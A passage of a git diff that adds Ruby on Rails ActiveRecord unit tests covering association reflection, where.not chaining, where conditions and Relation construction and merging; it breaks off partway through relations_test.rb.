+ assert subscriber.column_for_attribute("name").null
+ assert !subscriber.column_for_attribute("nick").null
+ end
+
+ def test_human_name_for_column
+ assert_equal "Author name", @first.column_for_attribute("author_name").human_name
+ end
+
+ def test_integer_columns
+ assert_equal :integer, @first.column_for_attribute("id").type
+ end
+
+ def test_reflection_klass_for_nested_class_name
+ reflection = MacroReflection.new(:company, nil, nil, { :class_name => 'MyApplication::Business::Company' }, ActiveRecord::Base)
+ assert_nothing_raised do
+ assert_equal MyApplication::Business::Company, reflection.klass
+ end
+ end
+
+ def test_aggregation_reflection
+ reflection_for_address = AggregateReflection.new(
+ :composed_of, :address, nil, { :mapping => [ %w(address_street street), %w(address_city city), %w(address_country country) ] }, Customer
+ )
+
+ reflection_for_balance = AggregateReflection.new(
+ :composed_of, :balance, nil, { :class_name => "Money", :mapping => %w(balance amount) }, Customer
+ )
+
+ reflection_for_gps_location = AggregateReflection.new(
+ :composed_of, :gps_location, nil, { }, Customer
+ )
+
+ assert Customer.reflect_on_all_aggregations.include?(reflection_for_gps_location)
+ assert Customer.reflect_on_all_aggregations.include?(reflection_for_balance)
+ assert Customer.reflect_on_all_aggregations.include?(reflection_for_address)
+
+ assert_equal reflection_for_address, Customer.reflect_on_aggregation(:address)
+
+ assert_equal Address, Customer.reflect_on_aggregation(:address).klass
+
+ assert_equal Money, Customer.reflect_on_aggregation(:balance).klass
+ end
+
+ def test_reflect_on_all_autosave_associations
+ expected = Pirate.reflect_on_all_associations.select { |r| r.options[:autosave] }
+ received = Pirate.reflect_on_all_autosave_associations
+
+ assert !received.empty?
+ assert_not_equal Pirate.reflect_on_all_associations.length, received.length
+ assert_equal expected, received
+ end
+
+ def test_has_many_reflection
+ reflection_for_clients = AssociationReflection.new(:has_many, :clients, nil, { :order => "id", :dependent => :destroy }, Firm)
+
+ assert_equal reflection_for_clients, Firm.reflect_on_association(:clients)
+
+ assert_equal Client, Firm.reflect_on_association(:clients).klass
+ assert_equal 'companies', Firm.reflect_on_association(:clients).table_name
+
+ assert_equal Client, Firm.reflect_on_association(:clients_of_firm).klass
+ assert_equal 'companies', Firm.reflect_on_association(:clients_of_firm).table_name
+ end
+
+ def test_has_one_reflection
+ reflection_for_account = AssociationReflection.new(:has_one, :account, nil, { :foreign_key => "firm_id", :dependent => :destroy }, Firm)
+ assert_equal reflection_for_account, Firm.reflect_on_association(:account)
+
+ assert_equal Account, Firm.reflect_on_association(:account).klass
+ assert_equal 'accounts', Firm.reflect_on_association(:account).table_name
+ end
+
+ def test_belongs_to_inferred_foreign_key_from_assoc_name
+ Company.belongs_to :foo
+ assert_equal "foo_id", Company.reflect_on_association(:foo).foreign_key
+ Company.belongs_to :bar, :class_name => "Xyzzy"
+ assert_equal "bar_id", Company.reflect_on_association(:bar).foreign_key
+ Company.belongs_to :baz, :class_name => "Xyzzy", :foreign_key => "xyzzy_id"
+ assert_equal "xyzzy_id", Company.reflect_on_association(:baz).foreign_key
+ end
+
+ def test_association_reflection_in_modules
+ ActiveRecord::Base.store_full_sti_class = false
+
+ assert_reflection MyApplication::Business::Firm,
+ :clients_of_firm,
+ :klass => MyApplication::Business::Client,
+ :class_name => 'Client',
+ :table_name => 'companies'
+
+ assert_reflection MyApplication::Billing::Account,
+ :firm,
+ :klass => MyApplication::Business::Firm,
+ :class_name => 'MyApplication::Business::Firm',
+ :table_name => 'companies'
+
+ assert_reflection MyApplication::Billing::Account,
+ :qualified_billing_firm,
+ :klass => MyApplication::Billing::Firm,
+ :class_name => 'MyApplication::Billing::Firm',
+ :table_name => 'companies'
+
+ assert_reflection MyApplication::Billing::Account,
+ :unqualified_billing_firm,
+ :klass => MyApplication::Billing::Firm,
+ :class_name => 'Firm',
+ :table_name => 'companies'
+
+ assert_reflection MyApplication::Billing::Account,
+ :nested_qualified_billing_firm,
+ :klass => MyApplication::Billing::Nested::Firm,
+ :class_name => 'MyApplication::Billing::Nested::Firm',
+ :table_name => 'companies'
+
+ assert_reflection MyApplication::Billing::Account,
+ :nested_unqualified_billing_firm,
+ :klass => MyApplication::Billing::Nested::Firm,
+ :class_name => 'Nested::Firm',
+ :table_name => 'companies'
+ ensure
+ ActiveRecord::Base.store_full_sti_class = true
+ end
+
+ def test_reflection_of_all_associations
+ # FIXME these assertions bust a lot
+ assert_equal 39, Firm.reflect_on_all_associations.size
+ assert_equal 29, Firm.reflect_on_all_associations(:has_many).size
+ assert_equal 10, Firm.reflect_on_all_associations(:has_one).size
+ assert_equal 0, Firm.reflect_on_all_associations(:belongs_to).size
+ end
+
+ def test_reflection_should_not_raise_error_when_compared_to_other_object
+ assert_nothing_raised { Firm.reflections[:clients] == Object.new }
+ end
+
+ def test_has_many_through_reflection
+ assert_kind_of ThroughReflection, Subscriber.reflect_on_association(:books)
+ end
+
+ def test_chain
+ expected = [
+ Organization.reflect_on_association(:author_essay_categories),
+ Author.reflect_on_association(:essays),
+ Organization.reflect_on_association(:authors)
+ ]
+ actual = Organization.reflect_on_association(:author_essay_categories).chain
+
+ assert_equal expected, actual
+ end
+
+ def test_scope_chain
+ expected = [
+ [Tagging.reflect_on_association(:tag).scope, Post.reflect_on_association(:first_blue_tags).scope],
+ [Post.reflect_on_association(:first_taggings).scope],
+ [Author.reflect_on_association(:misc_posts).scope]
+ ]
+ actual = Author.reflect_on_association(:misc_post_first_blue_tags).scope_chain
+ assert_equal expected, actual
+
+ expected = [
+ [
+ Tagging.reflect_on_association(:blue_tag).scope,
+ Post.reflect_on_association(:first_blue_tags_2).scope,
+ Author.reflect_on_association(:misc_post_first_blue_tags_2).scope
+ ],
+ [],
+ []
+ ]
+ actual = Author.reflect_on_association(:misc_post_first_blue_tags_2).scope_chain
+ assert_equal expected, actual
+ end
+
+ def test_nested?
+ assert !Author.reflect_on_association(:comments).nested?
+ assert Author.reflect_on_association(:tags).nested?
+
+ # Only goes :through once, but the through_reflection is a has_and_belongs_to_many, so this is
+ # a nested through association
+ assert Category.reflect_on_association(:post_comments).nested?
+ end
+
+ def test_association_primary_key
+ # Normal association
+ assert_equal "id", Author.reflect_on_association(:posts).association_primary_key.to_s
+ assert_equal "name", Author.reflect_on_association(:essay).association_primary_key.to_s
+ assert_equal "name", Essay.reflect_on_association(:writer).association_primary_key.to_s
+
+ # Through association (uses the :primary_key option from the source reflection)
+ assert_equal "nick", Author.reflect_on_association(:subscribers).association_primary_key.to_s
+ assert_equal "name", Author.reflect_on_association(:essay_category).association_primary_key.to_s
+ assert_equal "custom_primary_key", Author.reflect_on_association(:tags_with_primary_key).association_primary_key.to_s # nested
+ end
+
+ def test_association_primary_key_raises_when_missing_primary_key
+ reflection = ActiveRecord::Reflection::AssociationReflection.new(:fuu, :edge, nil, {}, Author)
+ assert_raises(ActiveRecord::UnknownPrimaryKey) { reflection.association_primary_key }
+
+ through = ActiveRecord::Reflection::ThroughReflection.new(:fuu, :edge, nil, {}, Author)
+ through.stubs(:source_reflection).returns(stub_everything(:options => {}, :class_name => 'Edge'))
+ assert_raises(ActiveRecord::UnknownPrimaryKey) { through.association_primary_key }
+ end
+
+ def test_active_record_primary_key
+ assert_equal "nick", Subscriber.reflect_on_association(:subscriptions).active_record_primary_key.to_s
+ assert_equal "name", Author.reflect_on_association(:essay).active_record_primary_key.to_s
+ end
+
+ def test_active_record_primary_key_raises_when_missing_primary_key
+ reflection = ActiveRecord::Reflection::AssociationReflection.new(:fuu, :author, nil, {}, Edge)
+ assert_raises(ActiveRecord::UnknownPrimaryKey) { reflection.active_record_primary_key }
+ end
+
+ def test_foreign_type
+ assert_equal "sponsorable_type", Sponsor.reflect_on_association(:sponsorable).foreign_type.to_s
+ assert_equal "sponsorable_type", Sponsor.reflect_on_association(:thing).foreign_type.to_s
+ end
+
+ def test_collection_association
+ assert Pirate.reflect_on_association(:birds).collection?
+ assert Pirate.reflect_on_association(:parrots).collection?
+
+ assert !Pirate.reflect_on_association(:ship).collection?
+ assert !Ship.reflect_on_association(:pirate).collection?
+ end
+
+ def test_default_association_validation
+ assert AssociationReflection.new(:has_many, :clients, nil, {}, Firm).validate?
+
+ assert !AssociationReflection.new(:has_one, :client, nil, {}, Firm).validate?
+ assert !AssociationReflection.new(:belongs_to, :client, nil, {}, Firm).validate?
+ assert !AssociationReflection.new(:has_and_belongs_to_many, :clients, nil, {}, Firm).validate?
+ end
+
+ def test_always_validate_association_if_explicit
+ assert AssociationReflection.new(:has_one, :client, nil, { :validate => true }, Firm).validate?
+ assert AssociationReflection.new(:belongs_to, :client, nil, { :validate => true }, Firm).validate?
+ assert AssociationReflection.new(:has_many, :clients, nil, { :validate => true }, Firm).validate?
+ assert AssociationReflection.new(:has_and_belongs_to_many, :clients, nil, { :validate => true }, Firm).validate?
+ end
+
+ def test_validate_association_if_autosave
+ assert AssociationReflection.new(:has_one, :client, nil, { :autosave => true }, Firm).validate?
+ assert AssociationReflection.new(:belongs_to, :client, nil, { :autosave => true }, Firm).validate?
+ assert AssociationReflection.new(:has_many, :clients, nil, { :autosave => true }, Firm).validate?
+ assert AssociationReflection.new(:has_and_belongs_to_many, :clients, nil, { :autosave => true }, Firm).validate?
+ end
+
+ def test_never_validate_association_if_explicit
+ assert !AssociationReflection.new(:has_one, :client, nil, { :autosave => true, :validate => false }, Firm).validate?
+ assert !AssociationReflection.new(:belongs_to, :client, nil, { :autosave => true, :validate => false }, Firm).validate?
+ assert !AssociationReflection.new(:has_many, :clients, nil, { :autosave => true, :validate => false }, Firm).validate?
+ assert !AssociationReflection.new(:has_and_belongs_to_many, :clients, nil, { :autosave => true, :validate => false }, Firm).validate?
+ end
+
+ def test_foreign_key
+ assert_equal "author_id", Author.reflect_on_association(:posts).foreign_key.to_s
+ assert_equal "category_id", Post.reflect_on_association(:categorizations).foreign_key.to_s
+ end
+
+ def test_through_reflection_scope_chain_does_not_modify_other_reflections
+ orig_conds = Post.reflect_on_association(:first_blue_tags_2).scope_chain.inspect
+ Author.reflect_on_association(:misc_post_first_blue_tags_2).scope_chain
+ assert_equal orig_conds, Post.reflect_on_association(:first_blue_tags_2).scope_chain.inspect
+ end
+
+ def test_symbol_for_class_name
+ assert_equal Client, Firm.reflect_on_association(:unsorted_clients_with_symbol).klass
+ end
+
+ def test_join_table
+ category = Struct.new(:table_name, :pluralize_table_names).new('categories', true)
+ product = Struct.new(:table_name, :pluralize_table_names).new('products', true)
+
+ reflection = AssociationReflection.new(:has_and_belongs_to_many, :categories, nil, {}, product)
+ reflection.stubs(:klass).returns(category)
+ assert_equal 'categories_products', reflection.join_table
+
+ reflection = AssociationReflection.new(:has_and_belongs_to_many, :products, nil, {}, category)
+ reflection.stubs(:klass).returns(product)
+ assert_equal 'categories_products', reflection.join_table
+ end
+
+ def test_join_table_with_common_prefix
+ category = Struct.new(:table_name, :pluralize_table_names).new('catalog_categories', true)
+ product = Struct.new(:table_name, :pluralize_table_names).new('catalog_products', true)
+
+ reflection = AssociationReflection.new(:has_and_belongs_to_many, :categories, nil, {}, product)
+ reflection.stubs(:klass).returns(category)
+ assert_equal 'catalog_categories_products', reflection.join_table
+
+ reflection = AssociationReflection.new(:has_and_belongs_to_many, :products, nil, {}, category)
+ reflection.stubs(:klass).returns(product)
+ assert_equal 'catalog_categories_products', reflection.join_table
+ end
+
+ def test_join_table_with_different_prefix
+ category = Struct.new(:table_name, :pluralize_table_names).new('catalog_categories', true)
+ page = Struct.new(:table_name, :pluralize_table_names).new('content_pages', true)
+
+ reflection = AssociationReflection.new(:has_and_belongs_to_many, :categories, nil, {}, page)
+ reflection.stubs(:klass).returns(category)
+ assert_equal 'catalog_categories_content_pages', reflection.join_table
+
+ reflection = AssociationReflection.new(:has_and_belongs_to_many, :pages, nil, {}, category)
+ reflection.stubs(:klass).returns(page)
+ assert_equal 'catalog_categories_content_pages', reflection.join_table
+ end
+
+ def test_join_table_can_be_overridden
+ category = Struct.new(:table_name, :pluralize_table_names).new('categories', true)
+ product = Struct.new(:table_name, :pluralize_table_names).new('products', true)
+
+ reflection = AssociationReflection.new(:has_and_belongs_to_many, :categories, nil, { :join_table => 'product_categories' }, product)
+ reflection.stubs(:klass).returns(category)
+ assert_equal 'product_categories', reflection.join_table
+
+ reflection = AssociationReflection.new(:has_and_belongs_to_many, :products, nil, { :join_table => 'product_categories' }, category)
+ reflection.stubs(:klass).returns(product)
+ assert_equal 'product_categories', reflection.join_table
+ end
+
+ private
+ def assert_reflection(klass, association, options)
+ assert reflection = klass.reflect_on_association(association)
+ options.each do |method, value|
+ assert_equal(value, reflection.send(method))
+ end
+ end
+end
diff --git a/activerecord/test/cases/relation/where_chain_test.rb b/activerecord/test/cases/relation/where_chain_test.rb
new file mode 100644
index 0000000..92d1e01
--- /dev/null
+++ b/activerecord/test/cases/relation/where_chain_test.rb
@@ -0,0 +1,80 @@
+require 'cases/helper'
+require 'models/post'
+require 'models/comment'
+
+module ActiveRecord
+ class WhereChainTest < ActiveRecord::TestCase
+ fixtures :posts
+
+ def setup
+ super
+ @name = 'title'
+ end
+
+ def test_not_eq
+ expected = Arel::Nodes::NotEqual.new(Post.arel_table[@name], 'hello')
+ relation = Post.where.not(title: 'hello')
+ assert_equal([expected], relation.where_values)
+ end
+
+ def test_not_null
+ expected = Arel::Nodes::NotEqual.new(Post.arel_table[@name], nil)
+ relation = Post.where.not(title: nil)
+ assert_equal([expected], relation.where_values)
+ end
+
+ def test_not_in
+ expected = Arel::Nodes::NotIn.new(Post.arel_table[@name], %w[hello goodbye])
+ relation = Post.where.not(title: %w[hello goodbye])
+ assert_equal([expected], relation.where_values)
+ end
+
+ def test_association_not_eq
+ expected = Arel::Nodes::NotEqual.new(Comment.arel_table[@name], 'hello')
+ relation = Post.joins(:comments).where.not(comments: {title: 'hello'})
+ assert_equal(expected.to_sql, relation.where_values.first.to_sql)
+ end
+
+ def test_not_eq_with_preceding_where
+ relation = Post.where(title: 'hello').where.not(title: 'world')
+
+ expected = Arel::Nodes::Equality.new(Post.arel_table[@name], 'hello')
+ assert_equal(expected, relation.where_values.first)
+
+ expected = Arel::Nodes::NotEqual.new(Post.arel_table[@name], 'world')
+ assert_equal(expected, relation.where_values.last)
+ end
+
+ def test_not_eq_with_succeeding_where
+ relation = Post.where.not(title: 'hello').where(title: 'world')
+
+ expected = Arel::Nodes::NotEqual.new(Post.arel_table[@name], 'hello')
+ assert_equal(expected, relation.where_values.first)
+
+ expected = Arel::Nodes::Equality.new(Post.arel_table[@name], 'world')
+ assert_equal(expected, relation.where_values.last)
+ end
+
+ def test_not_eq_with_string_parameter
+ expected = Arel::Nodes::Not.new("title = 'hello'")
+ relation = Post.where.not("title = 'hello'")
+ assert_equal([expected], relation.where_values)
+ end
+
+ def test_not_eq_with_array_parameter
+ expected = Arel::Nodes::Not.new("title = 'hello'")
+ relation = Post.where.not(['title = ?', 'hello'])
+ assert_equal([expected], relation.where_values)
+ end
+
+ def test_chaining_multiple
+ relation = Post.where.not(author_id: [1, 2]).where.not(title: 'ruby on rails')
+
+ expected = Arel::Nodes::NotIn.new(Post.arel_table['author_id'], [1, 2])
+ assert_equal(expected, relation.where_values[0])
+
+ expected = Arel::Nodes::NotEqual.new(Post.arel_table[@name], 'ruby on rails')
+ assert_equal(expected, relation.where_values[1])
+ end
+ end
+end
diff --git a/activerecord/test/cases/relation/where_test.rb b/activerecord/test/cases/relation/where_test.rb
new file mode 100644
index 0000000..c43c760
--- /dev/null
+++ b/activerecord/test/cases/relation/where_test.rb
@@ -0,0 +1,112 @@
+require "cases/helper"
+require 'models/author'
+require 'models/price_estimate'
+require 'models/treasure'
+require 'models/post'
+require 'models/comment'
+require 'models/edge'
+
+module ActiveRecord
+ class WhereTest < ActiveRecord::TestCase
+ fixtures :posts, :edges, :authors
+
+ def test_where_copies_bind_params
+ author = authors(:david)
+ posts = author.posts.where('posts.id != 1')
+ joined = Post.where(id: posts)
+
+ assert_operator joined.length, :>, 0
+
+ joined.each { |post|
+ assert_equal author, post.author
+ assert_not_equal 1, post.id
+ }
+ end
+
+ def test_belongs_to_shallow_where
+ author = Author.new
+ author.id = 1
+
+ assert_equal Post.where(author_id: 1).to_sql, Post.where(author: author).to_sql
+ end
+
+ def test_belongs_to_nested_where
+ parent = Comment.new
+ parent.id = 1
+
+ expected = Post.where(comments: { parent_id: 1 }).joins(:comments)
+ actual = Post.where(comments: { parent: parent }).joins(:comments)
+
+ assert_equal expected.to_sql, actual.to_sql
+ end
+
+ def test_polymorphic_shallow_where
+ treasure = Treasure.new
+ treasure.id = 1
+
+ expected = PriceEstimate.where(estimate_of_type: 'Treasure', estimate_of_id: 1)
+ actual = PriceEstimate.where(estimate_of: treasure)
+
+ assert_equal expected.to_sql, actual.to_sql
+ end
+
+ def test_polymorphic_sti_shallow_where
+ treasure = HiddenTreasure.new
+ treasure.id = 1
+
+ expected = PriceEstimate.where(estimate_of_type: 'Treasure', estimate_of_id: 1)
+ actual = PriceEstimate.where(estimate_of: treasure)
+
+ assert_equal expected.to_sql, actual.to_sql
+ end
+
+ def test_polymorphic_nested_where
+ thing = Post.new
+ thing.id = 1
+
+ expected = Treasure.where(price_estimates: { thing_type: 'Post', thing_id: 1 }).joins(:price_estimates)
+ actual = Treasure.where(price_estimates: { thing: thing }).joins(:price_estimates)
+
+ assert_equal expected.to_sql, actual.to_sql
+ end
+
+ def test_polymorphic_sti_nested_where
+ treasure = HiddenTreasure.new
+ treasure.id = 1
+
+ expected = Treasure.where(price_estimates: { estimate_of_type: 'Treasure', estimate_of_id: 1 }).joins(:price_estimates)
+ actual = Treasure.where(price_estimates: { estimate_of: treasure }).joins(:price_estimates)
+
+ assert_equal expected.to_sql, actual.to_sql
+ end
+
+ def test_where_error
+ assert_raises(ActiveRecord::StatementInvalid) do
+ Post.where(:id => { 'posts.author_id' => 10 }).first
+ end
+ end
+
+ def test_where_with_table_name
+ post = Post.first
+ assert_equal post, Post.where(:posts => { 'id' => post.id }).first
+ end
+
+ def test_where_with_table_name_and_empty_hash
+ assert_equal 0, Post.where(:posts => {}).count
+ end
+
+ def test_where_with_table_name_and_empty_array
+ assert_equal 0, Post.where(:id => []).count
+ end
+
+ def test_where_with_empty_hash_and_no_foreign_key
+ assert_equal 0, Edge.where(:sink => {}).count
+ end
+
+ def test_where_with_blank_conditions
+ [[], {}, nil, ""].each do |blank|
+ assert_equal 4, Edge.where(blank).order("sink_id").to_a.size
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/relation_test.rb b/activerecord/test/cases/relation_test.rb
new file mode 100644
index 0000000..482c1b3
--- /dev/null
+++ b/activerecord/test/cases/relation_test.rb
@@ -0,0 +1,311 @@
+require "cases/helper"
+require 'models/post'
+require 'models/comment'
+require 'models/author'
+require 'models/rating'
+
+module ActiveRecord
+ class RelationTest < ActiveRecord::TestCase
+ fixtures :posts, :comments, :authors
+
+ class FakeKlass < Struct.new(:table_name, :name)
+ end
+
+ def test_construction
+ relation = nil
+ assert_nothing_raised do
+ relation = Relation.new FakeKlass, :b
+ end
+ assert_equal FakeKlass, relation.klass
+ assert_equal :b, relation.table
+ assert !relation.loaded, 'relation is not loaded'
+ end
+
+ def test_responds_to_model_and_returns_klass
+ relation = Relation.new FakeKlass, :b
+ assert_equal FakeKlass, relation.model
+ end
+
+ def test_initialize_single_values
+ relation = Relation.new FakeKlass, :b
+ (Relation::SINGLE_VALUE_METHODS - [:create_with]).each do |method|
+ assert_nil relation.send("#{method}_value"), method.to_s
+ end
+ assert_equal({}, relation.create_with_value)
+ end
+
+ def test_multi_value_initialize
+ relation = Relation.new FakeKlass, :b
+ Relation::MULTI_VALUE_METHODS.each do |method|
+ assert_equal [], relation.send("#{method}_values"), method.to_s
+ end
+ end
+
+ def test_extensions
+ relation = Relation.new FakeKlass, :b
+ assert_equal [], relation.extensions
+ end
+
+ def test_empty_where_values_hash
+ relation = Relation.new FakeKlass, :b
+ assert_equal({}, relation.where_values_hash)
+
+ relation.where! :hello
+ assert_equal({}, relation.where_values_hash)
+ end
+
+ def test_has_values
+ relation = Relation.new Post, Post.arel_table
+ relation.where! relation.table[:id].eq(10)
+ assert_equal({:id => 10}, relation.where_values_hash)
+ end
+
+ def test_values_wrong_table
+ relation = Relation.new Post, Post.arel_table
+ relation.where! Comment.arel_table[:id].eq(10)
+ assert_equal({}, relation.where_values_hash)
+ end
+
+ def test_tree_is_not_traversed
+ relation = Relation.new Post, Post.arel_table
+ left = relation.table[:id].eq(10)
+ right = relation.table[:id].eq(10)
+ combine = left.and right
+ relation.where! combine
+ assert_equal({}, relation.where_values_hash)
+ end
+
+ def test_table_name_delegates_to_klass
+ relation = Relation.new FakeKlass.new('foo'), :b
+ assert_equal 'foo', relation.table_name
+ end
+
+ def test_scope_for_create
+ relation = Relation.new FakeKlass, :b
+ assert_equal({}, relation.scope_for_create)
+ end
+
+ def test_create_with_value
+ relation = Relation.new Post, Post.arel_table
+ hash = { :hello => 'world' }
+ relation.create_with_value = hash
+ assert_equal hash, relation.scope_for_create
+ end
+
+ def test_create_with_value_with_wheres
+ relation = Relation.new Post, Post.arel_table
+ relation.where! relation.table[:id].eq(10)
+ relation.create_with_value = {:hello => 'world'}
+ assert_equal({:hello => 'world', :id => 10}, relation.scope_for_create)
+ end
+
+ # FIXME: is this really wanted or expected behavior?
+ def test_scope_for_create_is_cached
+ relation = Relation.new Post, Post.arel_table
+ assert_equal({}, relation.scope_for_create)
+
+ relation.where! relation.table[:id].eq(10)
+ assert_equal({}, relation.scope_for_create)
+
+ relation.create_with_value = {:hello => 'world'}
+ assert_equal({}, relation.scope_for_create)
+ end
+
+ def test_empty_eager_loading?
+ relation = Relation.new FakeKlass, :b
+ assert !relation.eager_loading?
+ end
+
+ def test_eager_load_values
+ relation = Relation.new FakeKlass, :b
+ relation.eager_load! :b
+ assert relation.eager_loading?
+ end
+
+ def test_references_values
+ relation = Relation.new FakeKlass, :b
+ assert_equal [], relation.references_values
+ relation = relation.references(:foo).references(:omg, :lol)
+ assert_equal ['foo', 'omg', 'lol'], relation.references_values
+ end
+
+ def test_references_values_dont_duplicate
+ relation = Relation.new FakeKlass, :b
+ relation = relation.references(:foo).references(:foo)
+ assert_equal ['foo'], relation.references_values
+ end
+
+ test 'merging a hash into a relation' do
+ relation = Relation.new FakeKlass, :b
+ relation = relation.merge where: :lol, readonly: true
+
+ assert_equal [:lol], relation.where_values
+ assert_equal true, relation.readonly_value
+ end
+
+ test 'merging an empty hash into a relation' do
+ assert_equal [], Relation.new(FakeKlass, :b).merge({}).where_values
+ end
+
+ test 'merging a hash with unknown keys raises' do
+ assert_raises(ArgumentError) { Relation::HashMerger.new(nil, omg: 'lol') }
+ end
+
+ test '#values returns a dup of the values' do
+ relation = Relation.new(FakeKlass, :b).where! :foo
+ values = relation.values
+
+ values[:where] = nil
+ assert_not_nil relation.where_values
+ end
+
+ test 'relations can be created with a values hash' do
+ relation = Relation.new(FakeKlass, :b, where: [:foo])
+ assert_equal [:foo], relation.where_values
+ end
+
+ test 'merging a single where value' do
+ relation = Relation.new(FakeKlass, :b)
+ relation.merge!(where: :foo)
+ assert_equal [:foo], relation.where_values
+ end
+
+ test 'merging a hash interpolates conditions' do
+ klass = stub_everything
+ klass.stubs(:sanitize_sql).with(['foo = ?', 'bar']).returns('foo = bar')
+
+ relation = Relation.new(klass, :b)
+ relation.merge!(where: ['foo = ?', 'bar'])
+ assert_equal ['foo = bar'], relation.where_values
+ end
+
+ def test_relation_merging_with_merged_joins
+ special_comments_with_ratings = SpecialComment.joins(:ratings)
+ posts_with_special_comments_with_ratings = Post.group("posts.id").joins(:special_comments).merge(special_comments_with_ratings)
+ assert_equal 3, authors(:david).posts.merge(posts_with_special_comments_with_ratings).count.length
+ end
+
+ def test_respond_to_for_non_selected_element
+ post = Post.select(:title).first
+ assert_equal false, post.respond_to?(:body), "post should not respond_to?(:body) since invoking it raises exception"
+
+ post = Post.select("'title' as post_title").first
+ assert_equal false, post.respond_to?(:title), "post should not respond_to?(:body) since invoking it raises exception"
+ end
+
+ end
+
+ class RelationMutationTest < ActiveSupport::TestCase
+ class FakeKlass < Struct.new(:table_name, :name)
+ def quoted_table_name
+ %{"#{table_name}"}
+ end
+ end
+
+ def relation
+ @relation ||= Relation.new FakeKlass.new('posts'), :b
+ end
+
+ (Relation::MULTI_VALUE_METHODS - [:references, :extending, :order]).each do |method|
+ test "##{method}!" do
+ assert relation.public_send("#{method}!", :foo).equal?(relation)
+ assert_equal [:foo], relation.public_send("#{method}_values")
+ end
+ end
+
+ test "#order!" do
+ assert relation.order!('name ASC').equal?(relation)
+ assert_equal ['name ASC'], relation.order_values
+ end
+
+ test "#order! with symbol prepends the table name" do
+ assert relation.order!(:name).equal?(relation)
+ assert_equal ['"posts".name ASC'], relation.order_values
+ end
+
+ test '#references!' do
+ assert relation.references!(:foo).equal?(relation)
+ assert relation.references_values.include?('foo')
+ end
+
+ test 'extending!' do
+ mod, mod2 = Module.new, Module.new
+
+ assert relation.extending!(mod).equal?(relation)
+ assert_equal [mod], relation.extending_values
+ assert relation.is_a?(mod)
+
+ relation.extending!(mod2)
+ assert_equal [mod, mod2], relation.extending_values
+ end
+
+ test 'extending! with empty args' do
+ relation.extending!
+ assert_equal [], relation.extending_values
+ end
+
+ (Relation::SINGLE_VALUE_METHODS - [:from, :lock, :reordering, :reverse_order, :create_with]).each do |method|
+ test "##{method}!" do
+ assert relation.public_send("#{method}!", :foo).equal?(relation)
+ assert_equal :foo, relation.public_send("#{method}_value")
+ end
+ end
+
+ test '#from!' do
+ assert relation.from!('foo').equal?(relation)
+ assert_equal ['foo', nil], relation.from_value
+ end
+
+ test '#lock!' do
+ assert relation.lock!('foo').equal?(relation)
+ assert_equal 'foo', relation.lock_value
+ end
+
+ test '#reorder!' do
+ relation = self.relation.order('foo')
+
+ assert relation.reorder!('bar').equal?(relation)
+ assert_equal ['bar'], relation.order_values
+ assert relation.reordering_value
+ end
+
+ test 'reverse_order!' do
+ assert relation.reverse_order!.equal?(relation)
+ assert relation.reverse_order_value
+ relation.reverse_order!
+ assert !relation.reverse_order_value
+ end
+
+ test 'create_with!' do
+ assert relation.create_with!(foo: 'bar').equal?(relation)
+ assert_equal({foo: 'bar'}, relation.create_with_value)
+ end
+
+ test 'merge!' do
+ assert relation.merge!(where: :foo).equal?(relation)
+ assert_equal [:foo], relation.where_values
+ end
+
+ test 'merge with a proc' do
+ assert_equal [:foo], relation.merge(-> { where(:foo) }).where_values
+ end
+
+ test 'none!' do
+ assert relation.none!.equal?(relation)
+ assert_equal [NullRelation], relation.extending_values
+ assert relation.is_a?(NullRelation)
+ end
+
+ test "distinct!" do
+ relation.distinct! :foo
+ assert_equal :foo, relation.distinct_value
+ assert_equal :foo, relation.uniq_value # deprecated access
+ end
+
+ test "uniq! was replaced by distinct!" do
+ relation.uniq! :foo
+ assert_equal :foo, relation.distinct_value
+ assert_equal :foo, relation.uniq_value # deprecated access
+ end
+ end
+end
diff --git a/activerecord/test/cases/relations_test.rb b/activerecord/test/cases/relations_test.rb
new file mode 100644
index 0000000..cf6af4e
--- /dev/null
+++ b/activerecord/test/cases/relations_test.rb
@@ -0,0 +1,1549 @@
+require "cases/helper"
+require 'models/tag'
+require 'models/tagging'
+require 'models/post'
+require 'models/topic'
+require 'models/comment'
+require 'models/author'
+require 'models/entrant'
+require 'models/developer'
+require 'models/reply'
+require 'models/company'
+require 'models/bird'
+require 'models/car'
+require 'models/engine'
+require 'models/tyre'
+require 'models/minivan'
+
+
+class RelationTest < ActiveRecord::TestCase
+ fixtures :authors, :topics, :entrants, :developers, :companies, :developers_projects, :accounts, :categories, :categorizations, :posts, :comments,
+ :tags, :taggings, :cars, :minivans
+
+ def test_do_not_double_quote_string_id
+ van = Minivan.last
+ assert van
+ assert_equal van.id, Minivan.where(:minivan_id => van).to_a.first.minivan_id
+ end
+
+ def test_do_not_double_quote_string_id_with_array
+ van = Minivan.last
+ assert van
+ assert_equal van, Minivan.where(:minivan_id => [van]).to_a.first
+ end
+
+ def test_bind_values
+ relation = Post.all
+ assert_equal [], relation.bind_values
+
+ relation2 = relation.bind 'foo'
+ assert_equal %w{ foo }, relation2.bind_values
+ assert_equal [], relation.bind_values
+ end
+
+ def test_two_scopes_with_includes_should_not_drop_any_include
+ car = Car.incl_engines.incl_tyres.first
+ assert_no_queries { car.tyres.length }
+ assert_no_queries { car.engines.length }
+ end
+
+ def test_dynamic_finder
+ x = Post.where('author_id = ?', 1)
+ assert x.klass.respond_to?(:find_by_id), '@klass should handle dynamic finders'
+ end
+
+ def test_multivalue_where
+ posts = Post.where('author_id = ? AND id = ?', 1, 1)
+ assert_equal 1, posts.to_a.size
+ end
+
+ def test_scoped
+ topics = Topic.all
+ assert_kind_of ActiveRecord::Relation, topics
+ assert_equal 4, topics.size
+ end
+
+ def test_to_json
+ assert_nothing_raised { Bird.all.to_json }
+ assert_nothing_raised { Bird.all.to_a.to_json }
+ end
+
+ def test_to_yaml
+ assert_nothing_raised { Bird.all.to_yaml }
+ assert_nothing_raised { Bird.all.to_a.to_yaml }
+ end
+
+ def test_to_xml
+ assert_nothing_raised { Bird.all.to_xml }
+ assert_nothing_raised { Bird.all.to_a.to_xml }
+ end
+
+ def test_scoped_all
+ topics = Topic.all.to_a
+ assert_kind_of Array, topics
+ assert_no_queries { assert_equal 4, topics.size }
+ end
+
+ def test_loaded_all
+ topics = Topic.all
+
+ assert_queries(1) do
+ 2.times { assert_equal 4, topics.to_a.size }
+ end
+
+ assert topics.loaded?
+ end
+
+ def test_scoped_first
+ topics = Topic.all.order('id ASC')
+
+ assert_queries(1) do
+ 2.times { assert_equal "The First Topic", topics.first.title }
+ end
+
+ assert ! topics.loaded?
+ end
+
+ def test_loaded_first
+ topics = Topic.all.order('id ASC')
+
